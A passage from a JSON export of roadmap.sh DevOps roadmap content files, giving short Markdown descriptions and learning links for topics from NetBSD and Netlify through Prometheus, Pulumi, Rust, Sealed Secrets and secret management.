    "content": "# NetBSD\n\nNetBSD is a free, open-source Unix-like operating system descended from Berkeley Software Distribution (BSD). It's known for its high portability, supporting a wide range of hardware platforms from large-scale servers to embedded devices. NetBSD emphasizes clean design, well-written code, and adherence to standards. It features a modular kernel architecture, making it adaptable to various environments. NetBSD includes advanced features like kernel ASLR (Address Space Layout Randomization) for enhanced security. It's particularly popular in research environments, embedded systems, and among users who value system consistency across different hardware. While less common in desktop environments, NetBSD's focus on portability and clean code makes it a favorite for cross-platform development and specialized computing applications.\n\nVisit the following resources to learn more:\n\n- [@official@NetBSD Website](https://netbsd.org/)\n- [@official@Official NetBSD Documentation](https://netbsd.org/docs/)\n- [@official@NetBSD Guide](https://netbsd.org/docs/guide/en/index.html)"
  },
  {
    "path": "src/data/roadmaps/devops/content/netlify@hCKODV2b_l2uPit0YeP1M.md",
    "content": "# Netlify\n\nNetlify Functions are serverless functions that allow developers to run server-side code in a JAMstack environment without managing servers. They are built on AWS Lambda and automatically deploy alongside your Netlify site. These functions can handle tasks like API requests, form submissions, and database operations, enabling dynamic functionality in static sites. They support various languages including JavaScript, TypeScript, and Go. Netlify Functions integrate seamlessly with Netlify's deployment pipeline, offering easy development, testing, and production deployment.\n\nVisit the following resources to learn more:\n\n- [@official@Netlify Documentation](https://docs.netlify.com/platform/primitives/#functions)\n- [@article@Introducing Netlify Functions 2.0](https://www.netlify.com/blog/introducing-netlify-functions-2-0/)\n- [@video@How to Deploy a Website on Netlify](https://www.youtube.com/watch?v=0P53S34zm44)\n- [@feed@Daily.dev Netlify Feed](https://app.daily.dev/tags/netlify)"
  },
  {
    "path": "src/data/roadmaps/devops/content/networking--protocols@w5d24Sf8GDkLDLGUPxzS9.md",
    "content": "# Networking Protocols\n\nNetworking protocols are standardized rules and procedures that govern how data is transmitted, received, and interpreted across computer networks. They define the format, timing, sequencing, and error control in data communication. Key protocols include:\n\n1.  TCP/IP (Transmission Control Protocol/Internet Protocol): The fundamental suite for Internet communication.\n2.  HTTP/HTTPS: For web browsing and secure data transfer on the web.\n3.  FTP/SFTP: File transfer protocols.\n4.  SMTP/POP3/IMAP: Email communication protocols.\n5.  DNS: For domain name resolution.\n6.  DHCP: For automatic IP address assignment.\n7.  SSL/TLS: For secure, encrypted communication.\n8.  UDP: For fast, connectionless data transmission.\n\nVisit the following resources to learn more:\n\n- [@article@Cloudflare - What is SSL?](https://www.cloudflare.com/learning/ssl/what-is-ssl/)\n- [@article@Cloudflare - What is TLS?](https://www.cloudflare.com/en-gb/learning/ssl/transport-layer-security-tls/)\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@What is HTTPS?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-https/)\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@video@DNS and How does it Work?](https://www.youtube.com/watch?v=Wj0od2ag5sk)\n- [@video@DNS Records](https://www.youtube.com/watch?v=7lxgpKh_fRY)\n- [@video@SSH vs SSL vs TLS](https://www.youtube.com/watch?v=k3rFFLmQCuY)\n- [@video@OpenSSH Full Guide](https://www.youtube.com/watch?v=YS5Zh7KExvE)"
  },
  {
    "path": "src/data/roadmaps/devops/content/networking-tools@OaqKLZe-XnngcDhDzCtRt.md",
    "content": "# Networking Tools\n\nNetworking tools are essential software utilities used for monitoring, analyzing, troubleshooting, and managing computer networks. They include a wide range of applications such as Wireshark for deep packet analysis, Nmap for network scanning and security auditing, Ping for testing basic connectivity, Traceroute for visualizing network paths, Netstat for displaying network connections, Tcpdump for command-line packet capture, Iperf for performance testing, Netcat for various network operations, Nslookup/Dig for DNS queries, and PuTTY for remote access via SSH or telnet. These tools collectively enable network administrators and security professionals to diagnose issues, optimize performance, conduct security assessments, and maintain the overall health and efficiency of network infrastructures, ranging from small local networks to large-scale enterprise environments.\n\nVisit the following resources to learn more:\n\n- [@article@10 SCP command examples](https://www.tecmint.com/scp-commands-examples/)\n- [@article@SCP command explained](https://phoenixnap.com/kb/linux-scp-command)\n- [@video@Top 5 Linux Networking Commands](https://www.youtube.com/watch?v=MT85eMsMN6o)\n- [@video@60 Linux Commands you NEED to know](https://www.youtube.com/watch?v=gd7BXuUQ91w)"
  },
  {
    "path": "src/data/roadmaps/devops/content/new-relic@pk76Us6z8LoX3f0mhnCyR.md",
    "content": "# New Relic\n\nNew Relic is a cloud-based observability platform that provides full-stack visibility into software applications and infrastructure. It offers real-time performance monitoring, analytics, and alerting across various environments, including web, mobile, and cloud applications. New Relic's suite includes tools for application performance monitoring (APM), infrastructure monitoring, log management, and digital customer experience tracking. It uses distributed tracing and AI-powered analytics to help developers and operations teams identify and resolve issues quickly. New Relic's platform supports a wide range of programming languages and integrates with many popular development and deployment tools, making it a comprehensive solution for modern software observability and performance optimization in DevOps environments.\n\nVisit the following resources to learn more:\n\n- [@official@New Relic](https://newrelic.com/)\n- [@video@New Relic Platform Demo](https://www.youtube.com/watch?v=8kx7nRGVJRg)\n- [@feed@Explore top posts about DevOps](https://app.daily.dev/tags/devops?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/nexus@ootuLJfRXarVvm3J1Ir11.md",
    "content": "# Nexus\n\nThe Nexus Repository Manager is a widely used repository manager software developed by Sonatype. It's designed to manage binary components such as Java libraries, Docker images, npm packages, NuGet packages, and more. Nexus Repository Manager allows organizations to store, manage, and distribute software components securely and efficiently.\n\nVisit the following resources to learn more:\n\n- [@article@Repository Management Basics](https://learn.sonatype.com/courses/nxrm-admin-100/)\n- [@article@Nexus Best Practices](https://help.sonatype.com/repomanager3/nexus-repository-best-practices)"
  },
  {
    "path": "src/data/roadmaps/devops/content/nginx@ukOrSeyK1ElOt9tTjCkfO.md",
    "content": "# Nginx\n\nNGINX is a high-performance, open-source web server, reverse proxy, and load balancer. Known for its efficiency in handling concurrent connections, NGINX uses an event-driven, asynchronous architecture that consumes minimal resources. It excels at serving static content, proxying requests to application servers, and load balancing across multiple backends. NGINX is widely used for its ability to improve website performance, scalability, and security. It supports various protocols including HTTP, HTTPS, SMTP, and WebSocket, and offers features like SSL/TLS termination, caching, and content compression. Popular in both small-scale and enterprise environments, NGINX is a key component in many modern web architectures, particularly in microservices and containerized deployments.\n\nVisit the following resources to learn more:\n\n- [@official@Nginx](https://nginx.org/)\n- [@official@Nginx Documentation](https://nginx.org/en/docs/)\n- [@article@Basic NGINX Setup on Ubuntu](https://swissmade.host/en/blog/basic-nginx-setup-ubuntu-guide-to-a-functional-and-secure-website-serving)\n- [@article@Understanding the Nginx Configuration File Structure](https://www.digitalocean.com/community/tutorials/understanding-the-nginx-configuration-file-structure-and-configuration-contexts)\n- [@course@NGINX Full Course](https://www.youtube.com/watch?v=0VGEgXfNMIE)\n- [@video@NGINX Explained in 100 Seconds](https://www.youtube.com/watch?v=JKxlsvZXG7c)\n- [@video@Nginx Crash Course](https://www.youtube.com/watch?v=7VAI73roXaY)\n- [@feed@Explore top posts about Nginx](https://app.daily.dev/tags/nginx?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/octopus-deploy@TsXFx1wWikVBVoFUUDAMx.md",
    "content": "# Octopus Deploy\n\nOctopus Deploy is a deployment automation tool that helps teams release applications reliably and consistently. It manages the deployment process, handles configuration, and automates releases across different environments like development, testing, and production, reducing manual errors and saving time.\n\nVisit the following resources to learn more:\n\n- [@official@Octopus Deploy](https://octopus.com/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-ci-cd-tools)\n- [@official@Official Documentation](https://octopus.com/docs?utm_source=roadmap&utm_medium=link&utm_campaign=devops-ci-cd-tools)"
  },
  {
    "path": "src/data/roadmaps/devops/content/openbsd@97cJYKqv7CPPUXkKNwM4x.md",
    "content": "# OpenBSD\n\nOpenBSD is a free, open-source Unix-like operating system known for its strong focus on security, code correctness, and proactive approach to eliminating vulnerabilities. It's renowned for its stringent code review process, integrated cryptography, and default security features like stack protection and memory safeguards. OpenBSD pioneered many security innovations, including OpenSSH, and maintains a \"secure by default\" philosophy. The system is prized for its comprehensive documentation, clean and consistent codebase, and adherence to standards. While primarily used in server environments, especially for firewalls and network appliances, OpenBSD also supports desktop use. Its emphasis on security and stability makes it popular in high-security environments and among developers focused on system-level programming and network security.\n\nVisit the following resources to learn more:\n\n- [@official@OpenBSD](https://www.openbsd.org/)\n- [@video@Installing OpenBSD on the Fastest iMac G3](https://www.youtube.com/watch?v=-7gSMEsF3Q0)"
  },
  {
    "path": "src/data/roadmaps/devops/content/opentelemetry@K81bmtgnB1gfhYdi3TB5a.md",
    "content": "# OpenTelemetry\n\nOpenTelemetry is an open-source observability framework for cloud-native software, providing a standardized way to collect and export telemetry data such as metrics, logs, and traces. It aims to make observability a built-in feature of cloud-native applications by offering a vendor-neutral, unified set of APIs, libraries, agents, and instrumentation. OpenTelemetry simplifies the implementation of observability across different languages and platforms, enabling developers to instrument their code once and send data to multiple backends. It supports automatic instrumentation for many popular frameworks and libraries, reducing the effort required to add observability to applications. By providing a consistent approach to data collection and export, OpenTelemetry facilitates better interoperability between observability tools and platforms in modern, distributed software environments.\n\nVisit the following resources to learn more:\n\n- [@official@OpenTelemetry Website](https://opentelemetry.io/)\n- [@official@OpenTelemetry Documentation](https://opentelemetry.io/docs/)\n- [@video@What is OpenTelemetry?](https://www.youtube.com/watch?v=mUA-uzk94ro)\n- [@video@OpenTelemetry Course - Understand Software Performance](https://www.youtube.com/watch?v=r8UvWSX3KA8)"
  },
  {
    "path": "src/data/roadmaps/devops/content/operating-system@qe84v529VbCyydl0BKFk2.md",
    "content": "# Operating system\n\nOperating systems (OS) are fundamental software that manage computer hardware and software resources, providing common services for computer programs. They act as an intermediary between applications and hardware, handling tasks like memory management, process scheduling, file system management, and device control. Common desktop operating systems include Microsoft Windows, macOS, and various Linux distributions. Mobile devices typically run iOS or Android. Server environments often use Linux distributions like Ubuntu Server, Red Hat Enterprise Linux, or Windows Server. Each OS type offers distinct features, user interfaces, and compatibility with different software and hardware. Operating systems play a crucial role in system security, performance optimization, and providing a consistent user experience across diverse computing devices and environments.\n\nVisit the following resources to learn more:\n\n- [@official@Linux Documentation Project](https://tldp.org/)\n- [@article@Linux Journey - Interactive Learning](https://linuxjourney.com/)\n- [@article@Operating Systems - Wiki](https://en.wikipedia.org/wiki/Operating_system)\n- [@course@The Linux Command Line - Free Book](https://linuxcommand.org/tlcl.php)\n- [@video@Linux Full Course for Beginners](https://www.youtube.com/watch?v=sWbUDq4S6Y8)\n- [@video@What are Operating Systems?](https://www.youtube.com/watch?v=pVzRTmdd9j0)\n- [@feed@Explore top posts about Linux](https://app.daily.dev/tags/linux?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/osi-model@QZ7bkY-MaEgxYoPDP3nma.md",
    "content": "# OSI Model\n\nThe OSI (Open Systems Interconnection) model is a conceptual framework that standardizes the functions of a telecommunication or computing system into seven abstraction layers. These layers, from bottom to top, are: Physical, Data Link, Network, Transport, Session, Presentation, and Application. Each layer serves a specific purpose in the process of data communication, with lower layers handling more hardware-oriented tasks and upper layers dealing with software and user-interface aspects. The model helps in understanding how data moves through a network, troubleshooting network issues, and designing network protocols and hardware. While not strictly adhered to in real-world implementations, the OSI model remains a valuable educational tool and reference point for network engineers and developers, providing a common language for discussing network operations and architecture.\n\nVisit the following resources to learn more:\n\n- [@article@What is OSI Model?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/open-systems-interconnection-model-osi/)\n- [@video@OSI Model](https://www.youtube.com/watch?v=dV8mjZd1OtU)\n- [@video@OSI vs TCP/IP Model](https://www.youtube.com/watch?v=F5rni9fr1yE)"
  },
  {
    "path": "src/data/roadmaps/devops/content/papertrail@cjjMZdyLgakyVkImVQTza.md",
    "content": "# Papertrail\n\nPapertrail is a cloud-hosted log management service that simplifies the collection, analysis, and monitoring of log data from various sources. It offers real-time log aggregation, search, and alerting capabilities, making it easier for developers and system administrators to troubleshoot issues and gain insights into their applications and infrastructure. Papertrail supports a wide range of log types and integrates with numerous platforms and services, allowing users to centralize logs from servers, databases, applications, and network devices. Its user-friendly interface provides powerful search functionality, live tail features, and customizable dashboards. With features like saved searches, configurable alerts, and team collaboration tools, Papertrail enables efficient log analysis and helps organizations maintain system reliability, security, and compliance in diverse IT environments.\n\nVisit the following resources to learn more:\n\n- [@official@Papertrail Website](https://www.papertrail.com/)\n- [@official@Papertrail Guides](https://www.papertrail.com/solution/guides/)\n- [@official@Papertrail Blog](https://www.papertrail.com/blog/)\n- [@video@SolarWinds Papertrail Overview](https://www.youtube.com/watch?v=gFFtrzoQEfI)"
  },
  {
    "path": "src/data/roadmaps/devops/content/performance-monitoring@gIEQDgKOsoEnSv8mpEzGH.md",
    "content": "# Performance Monitoring\n\nPerformance monitoring is the systematic observation and measurement of an IT system's operational efficiency and effectiveness. It involves collecting, analyzing, and reporting on key performance indicators (KPIs) across various components including applications, networks, servers, and databases. This process uses specialized tools to track metrics such as response time, throughput, resource utilization, and error rates. Performance monitoring helps identify bottlenecks, predict potential issues, and optimize system resources. It's crucial for maintaining service level agreements (SLAs), ensuring user satisfaction, and supporting capacity planning. In modern IT environments, performance monitoring often incorporates real-time analytics, AI-driven insights, and automated alerting systems, enabling proactive management of complex, distributed systems and supporting continuous improvement in IT operations and service delivery.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Commands: Exploring Virtual Memory with vmstat](https://www.redhat.com/sysadmin/linux-commands-vmstat)\n- [@article@VMstat Man Page](https://man7.org/linux/man-pages/man8/vmstat.8.html)\n- [@article@vmstat tutorial](https://phoenixnap.com/kb/vmstat-command)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/pop3s@fzO6xVTBxliu24f3W5zaU.md",
    "content": "# Pop3s\n\nPOP3 (port 110) or POP3s (port 995) stands for The Post Office Protocol. It's an Internet standard protocol used by local email software clients to retrieve emails from a remote mail server over a TCP/IP connection. Email servers hosted by Internet service providers also use POP3 to receive and hold emails intended for their subscribers. Periodically, these subscribers will use email client software to check their mailbox on the remote server and download any emails addressed to them. Once the email client has downloaded the emails, they are usually deleted from the server, although some email clients allow users to specify that mails be copied or saved on the server for a period of time.\n\nVisit the following resources to learn more:\n\n- [@article@What is POP3?](https://www.techtarget.com/whatis/definition/POP3-Post-Office-Protocol-3)\n- [@video@What are POP3, IMAP, and SMTP?](https://www.youtube.com/watch?v=gLNOVbcyWbI)"
  },
  {
    "path": "src/data/roadmaps/devops/content/power-shell@z6IBekR8Xl-6f8WEb05Nw.md",
    "content": "# Powershell\n\nPowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language. Built on the .NET framework, PowerShell provides full access to COM and WMI, enabling administrators to perform administrative tasks on both local and remote Windows systems. It uses cmdlets (pronounced \"command-lets\") for performing actions, and a pipe system for chaining these commands together. PowerShell's object-based nature, as opposed to text-based output, allows for more efficient data manipulation. With its extensive scripting capabilities, support for aliases, and integration with various Microsoft and third-party products, PowerShell has become a powerful tool for automating system administration tasks, managing cloud resources, and developing DevOps practices in Windows-centric environments.\n\nVisit the following resources to learn more:\n\n- [@official@PowerShell Documentation](https://learn.microsoft.com/en-us/powershell/)\n- [@video@Learn PowerShell in Less Than 2 Hours](https://www.youtube.com/watch?v=ZOoCaWyifmI)\n- [@feed@Explore top posts about PowerShell](https://app.daily.dev/tags/powershell?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/process-monitoring@x-JWvG1iw86ULL9KrQmRu.md",
    "content": "# Process Monitoring\n\nProcess monitoring is the continuous observation and analysis of processes within an IT system or organization to ensure optimal performance, efficiency, and compliance. It involves tracking key metrics, resource utilization, and behaviors of individual processes or applications running on a system. This practice helps identify anomalies, bottlenecks, or potential issues before they impact overall system performance or user experience. Process monitoring tools typically provide real-time data on CPU usage, memory consumption, I/O operations, and thread activity. They often include features for alerting, logging, and visualization of process data. In modern IT environments, process monitoring is crucial for maintaining system stability, optimizing resource allocation, troubleshooting performance issues, and supporting capacity planning in complex, distributed systems.\n\nVisit the following resources to learn more:\n\n- [@article@lsof Cheat Sheet](https://neverendingsecurity.wordpress.com/2015/04/13/lsof-commands-cheatsheet/)\n- [@article@lsof Documentation](https://man7.org/linux/man-pages/man8/lsof.8.html)\n- [@video@Linux Crash Course - The lsof Command](https://www.youtube.com/watch?v=n9nZ1ellaV0)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/programming-language@v5FGKQc-_7NYEsWjmTEuq.md",
    "content": "# Learn a Language\n\nLearning a programming language is a valuable skill in today's world, opening doors to various opportunities, including automation, web development, data analysis, and more. Choosing the right language depends on your specific goals and interests. \nFor beginners, Python is often recommended due to its easy-to-read syntax and wide range of applications. Learning a programming language is a rewarding journey. Start with a language that interests you and explore!\n\nVisit the following resources to learn more:\n\n- [@article@Guide to Picking a Language for DevOps](https://cs.fyi/guide/programming-language-for-devops)\n"
  },
  {
    "path": "src/data/roadmaps/devops/content/prometheus@NiVvRbCOCDpVvif48poCo.md",
    "content": "# Prometheus\n\nPrometheus is an open-source systems monitoring and alerting toolkit designed for reliability and scalability. It features a multi-dimensional data model, a flexible query language (PromQL), and an efficient time series database. Prometheus collects metrics from configured targets at given intervals, evaluates rule expressions, displays results, and can trigger alerts when specified conditions are observed. It operates on a pull model, scraping metrics from HTTP endpoints, and supports service discovery for dynamic environments. Prometheus is particularly well-suited for monitoring microservices and containerized environments, integrating seamlessly with systems like Kubernetes. Its ecosystem includes various exporters for third-party systems and a built-in alert manager. Widely adopted in cloud-native architectures, Prometheus is a core component of modern observability stacks, often used alongside tools like Grafana for visualization.\n\nVisit the following resources to learn more:\n\n- [@official@Prometheus Website](https://prometheus.io/)\n- [@video@Introduction to the Prometheus Monitoring System | Key Concepts and Features](https://www.youtube.com/watch?v=STVMGrYIlfg)\n- [@feed@Explore top posts about Prometheus](https://app.daily.dev/tags/prometheus?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/prometheus@eOyu4wmKOrcMlhD8pUGGh.md",
    "content": "# Prometheus\n\nPrometheus is a free software application used for event monitoring and alerting. It records real-time metrics in a time series database built using a HTTP pull model, with flexible queries and real-time alerting.\n\nVisit the following resources to learn more:\n\n- [@official@Prometheus Website](https://prometheus.io/)\n- [@official@Prometheus Documentation](https://prometheus.io/docs/introduction/overview/)\n- [@official@Getting Started with Prometheus](https://prometheus.io/docs/tutorials/getting_started/)\n- [@feed@Explore top posts about Prometheus](https://app.daily.dev/tags/prometheus?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/provisioning@1oYvpFG8LKT1JD6a_9J0m.md",
    "content": "# Provisioning\n\nProvisioning refers to the process of setting up and configuring the necessary IT infrastructure to support an application or service. This includes allocating and preparing resources such as servers, storage, networking, and software environments. Provisioning can be done manually, but in modern DevOps practices, it's typically automated using tools like Terraform, Pulumi, or CloudFormation. These tools allow for infrastructure-as-code, where the entire provisioning process is defined in version-controlled scripts or templates. This approach enables consistent, repeatable deployments across different environments, reduces human error, and facilitates rapid scaling and disaster recovery.\n\nVisit the following resources to learn more:\n\n- [@article@What is provisioning? - RedHat](https://www.redhat.com/en/topics/automation/what-is-provisioning)\n- [@article@What is provisioning? - IBM](https://www.ibm.com/topics/provisioning)\n- [@video@Open Answers: What is provisioning?](https://www.youtube.com/watch?v=hWvDlmhASpk)"
  },
  {
    "path": "src/data/roadmaps/devops/content/pulumi@O0xZ3dy2zIDbOetVrgna6.md",
    "content": "# Pulumi\n\nPulumi is an open-source infrastructure as code (IaC) platform that allows developers to define and manage cloud resources using familiar programming languages like JavaScript, TypeScript, Python, Go, and .NET languages. It supports multiple cloud providers including AWS, Azure, Google Cloud, and Kubernetes. Pulumi's approach enables developers to use standard programming constructs such as loops, functions, and classes to create reusable and modular infrastructure code. It provides a unified workflow for deploying and managing resources across different cloud environments, offering features like state management, drift detection, and preview of changes before deployment. Pulumi's ecosystem includes a registry of pre-built components and integrations with CI/CD systems, making it a powerful tool for teams adopting DevOps practices and managing complex, multi-cloud infrastructures.\n\nVisit the following resources to learn more:\n\n- [@official@Pulumi Website](https://www.pulumi.com/)\n- [@video@Pulumi in Three Minutes](https://www.youtube.com/watch?v=Q8tw6YTD3ac)\n- [@feed@Explore top posts about Pulumi](https://app.daily.dev/tags/pulumi?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/puppet@yP1y8U3eblpzbaLiCGliU.md",
    "content": "# Puppet\n\nPuppet is an open-source configuration management tool that automates the provisioning, configuration, and management of servers and applications across infrastructure. It uses a declarative, model-based approach where administrators define the desired state of systems using Puppet's domain-specific language or Ruby. Puppet agents running on managed nodes periodically check with a central Puppet server, applying necessary changes to reach the defined state. This ensures consistency across environments and facilitates scalable infrastructure management. Puppet supports a wide range of operating systems and cloud platforms, offering modules for common services and applications. With features like reporting, role-based access control, and integration with other DevOps tools, Puppet helps organizations implement infrastructure as code, enforce compliance, and streamline IT operations across diverse and complex environments.\n\nVisit the following resources to learn more:\n\n- [@course@Puppet Full Course | Learn Puppet Training](https://www.youtube.com/watch?v=Ns_tRKD20c4)\n- [@official@Puppet Website](https://puppet.com/)\n- [@feed@Explore top posts about Puppet](https://app.daily.dev/tags/puppet?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/python@TwVfCYMS9jSaJ6UyYmC-K.md",
    "content": "# Python\n\nPython is a high-level, interpreted programming language known for its simplicity, readability, and versatility. It supports multiple programming paradigms, including procedural, object-oriented, and functional programming. Python's extensive standard library and vast ecosystem of third-party packages make it suitable for a wide range of applications, from web development and data analysis to artificial intelligence and scientific computing. Its clean syntax and dynamic typing allow for rapid development and prototyping. Python's \"batteries included\" philosophy provides rich built-in functionalities, while its cross-platform compatibility ensures code portability. With strong community support and continuous development, Python has become one of the most popular programming languages, widely used in academia, industry, and open-source projects for tasks ranging from simple scripting to complex software development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python Website](https://www.python.org/)\n- [@article@Real Python Tutorials](https://realpython.com/)\n- [@article@Automate the Boring Stuff](https://automatetheboringstuff.com/)\n- [@course@Python for Everybody - freeCodeCamp](https://www.youtube.com/watch?v=8DvywoWv6fI)\n- [@video@Python Full Course for free](https://www.youtube.com/watch?v=ix9cRaBkVe0)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/reverse-proxy@eGF7iyigl57myx2ejpmNC.md",
    "content": "# Reverse Proxy\n\nA reverse proxy is a server that sits between client devices and backend servers, intercepting requests from clients and forwarding them to appropriate backend servers. It acts on behalf of the servers, providing benefits such as load balancing, caching, SSL termination, and security. Reverse proxies can distribute incoming traffic across multiple servers to improve performance and reliability, cache frequently requested content to reduce server load, handle SSL encryption and decryption to offload this task from backend servers, and provide an additional layer of security by hiding server details. Common uses include improving web application performance, enabling microservices architectures, and enhancing security in web hosting environments. Popular reverse proxy software includes NGINX, HAProxy, and Apache with mod\\_proxy.\n\nVisit the following resources to learn more:\n\n- [@article@What is Reverse Proxy?](https://www.cloudflare.com/en-gb/learning/cdn/glossary/reverse-proxy/)\n- [@article@NGINX Documentation](https://www.nginx.com/resources/glossary/reverse-proxy-server/)\n- [@article@Understanding NGINX as a Reverse Proxy](https://medium.com/globant/understanding-nginx-as-a-reverse-proxy-564f76e856b2)\n- [@video@Proxy vs Reverse Proxy (Real-world Examples)](https://www.youtube.com/watch?v=4NB0NDtOwIQ)"
  },
  {
    "path": "src/data/roadmaps/devops/content/rhel--derivatives@7mS6Y_BOAHNgM3OjyFtZ9.md",
    "content": "# RHEL / Derivatives\n\nRed Hat Enterprise Linux (RHEL) is a popular distribution of the Linux operating system that is designed for enterprise-level use. It is developed and maintained by Red Hat, Inc., and it is available under a subscription-based model. There are several distributions of Linux that are based on RHEL, or that have been derived from RHEL in some way. These distributions are known as RHEL derivatives. Some examples of RHEL derivatives include: AlmaLinux, CentOS, CloudLinux, Oracle Linux, and Scientific Linux. RHEL derivatives are often used in enterprise environments because they offer the stability and reliability of RHEL, but with the added benefit of being free or lower-cost alternatives.\n\nVisit the following resources to learn more:\n\n- [@official@Red Hat Enterprise Linux Website](https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux)\n- [@official@RHEL Documentation](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/)\n- [@article@Learn Linux 101](https://developer.ibm.com/series/learn-linux-101/)\n- [@video@What is Red Hat Enterprise Linux?](https://www.youtube.com/watch?v=HEBvdSI0wGQ)"
  },
  {
    "path": "src/data/roadmaps/devops/content/ruby@PuXAPYA0bsMgwcnlwJxQn.md",
    "content": "# Ruby\n\nRuby is a dynamic, object-oriented programming language known for its simplicity and productivity. Created by Yukihiro Matsumoto, Ruby emphasizes the principle of \"least astonishment,\" aiming for natural, easy-to-read syntax. It features automatic memory management, dynamic typing, and support for multiple programming paradigms including functional and imperative programming. Ruby's flexibility and expressive nature make it popular for web development, particularly with the Ruby on Rails framework. It excels in text processing, scripting, and rapid prototyping. Ruby's extensive standard library and package manager (RubyGems) provide a rich ecosystem of third-party libraries. While not as performant as some compiled languages, Ruby's focus on developer happiness and productivity has made it a favorite in startups and for building web applications quickly.\n\nVisit the following resources to learn more:\n\n- [@official@Ruby Website](https://www.ruby-lang.org/en/)\n- [@official@Learn Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/)\n- [@video@Ruby Programming Crash Course](https://www.youtube.com/watch?v=w9yNsTAp-Mg)\n- [@feed@Explore top posts about Ruby](https://app.daily.dev/tags/ruby?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/rust@eL62bKAoJCMsu7zPlgyhy.md",
    "content": "# Rust\n\nRust is a systems programming language that focuses on safety, concurrency, and performance. Developed by Mozilla Research, Rust combines low-level control over system resources with high-level abstractions, preventing common programming errors like null or dangling pointer references at compile-time. It features a borrow checker for managing memory and preventing data races, making it ideal for building reliable and efficient software. Rust's zero-cost abstractions, pattern matching, and trait-based generics offer powerful tools for expressing complex ideas clearly. While primarily used for systems programming, web assembly, and game development, Rust's growing ecosystem supports various domains. Its emphasis on memory safety without sacrificing performance makes it increasingly popular for developing secure, high-performance applications in fields ranging from operating systems to web services.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Rust Roadmap](https://roadmap.sh/rust)\n- [@course@Rust by Practice - Interactive Rust Course](https://practice.course.rs/)\n- [@official@The Rust Programming Language - Online Book](https://doc.rust-lang.org/book/)\n- [@article@Comprehensive Rust by Google - Learn Rust in 4 Days](https://google.github.io/comprehensive-rust/)\n- [@article@Rust Katas - Small, interactive Rust exercises](https://rustlings.cool/)\n- [@video@The Rust Programming Book - Video Version](https://youtube.com/playlist?list=PLai5B987bZ9CoVR-QEIN9foz4QCJ0H2Y8)\n- [@video@Full Crash Rust Tutorial for Beginners](https://www.youtube.com/watch?v=R33h77nrMqc&list=PLPoSdR46FgI412aItyJhj2bF66cudB6Qs)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/sealed-secrets@ZWq23Q9ZNxLNti68oltxA.md",
    "content": "# Sealed Secrets\n\nSealed Secrets is a Kubernetes controller and tool that allows users to encrypt their Kubernetes Secrets into encrypted \"SealedSecrets\" that can be safely stored in public repositories or insecure environments. Developed by Bitnami, it addresses the challenge of managing sensitive information in Git-based workflows and cluster management. The controller running in the cluster decrypts SealedSecrets into regular Secrets, ensuring that the original, sensitive data never leaves the cluster. This approach enables secure, declarative management of secrets in Kubernetes environments, aligning with GitOps practices. Sealed Secrets uses asymmetric cryptography, where only the controller in the cluster has the private key to decrypt the secrets. This tool enhances security in Kubernetes deployments by allowing secrets to be version-controlled and managed alongside other Kubernetes resources without exposing sensitive data.\n\nVisit the following resources to learn more:\n\n- [@opensource@bitname/sealed-secrets](https://github.com/bitnami-labs/sealed-secrets)\n- [@article@Sealed Secrets](https://fluxcd.io/flux/guides/sealed-secrets/)"
  },
  {
    "path": "src/data/roadmaps/devops/content/secret-management@hcrPpjFxPi_iLiMdLKJrO.md",
    "content": "# Secret Management\n\nSecret management refers to the secure handling, storage, and distribution of sensitive information such as passwords, API keys, and certificates within an organization's IT infrastructure. It involves using specialized tools and practices to protect secrets from unauthorized access while ensuring they are available to authorized systems and users when needed. Secret management solutions typically offer features like encryption at rest and in transit, access controls, auditing, rotation policies, and integration with various platforms and services. These systems aim to centralize secret storage, reduce the risk of exposure, automate secret lifecycle management, and provide seamless integration with applications and DevOps workflows. Effective secret management is crucial for maintaining security, compliance, and operational efficiency in modern, complex IT environments.\n\nVisit the following resources to learn more:\n\n- [@article@How to Manage Secrets in Web Applications?](https://cs.fyi/guide/secret-management-best-practices)\n- [@article@Why DevSecOps Teams Need Secrets Management](https://www.keepersecurity.com/blog/2023/01/26/why-devsecops-teams-need-secrets-management/)\n- [@video@DevOps Tricks for Managing Secrets in Production](https://www.youtube.com/watch?v=u_L-f7Th_7o)"
  },
  {
    "path": "src/data/roadmaps/devops/content/serverless@9p_ufPj6QH9gHbWBQUmGw.md",
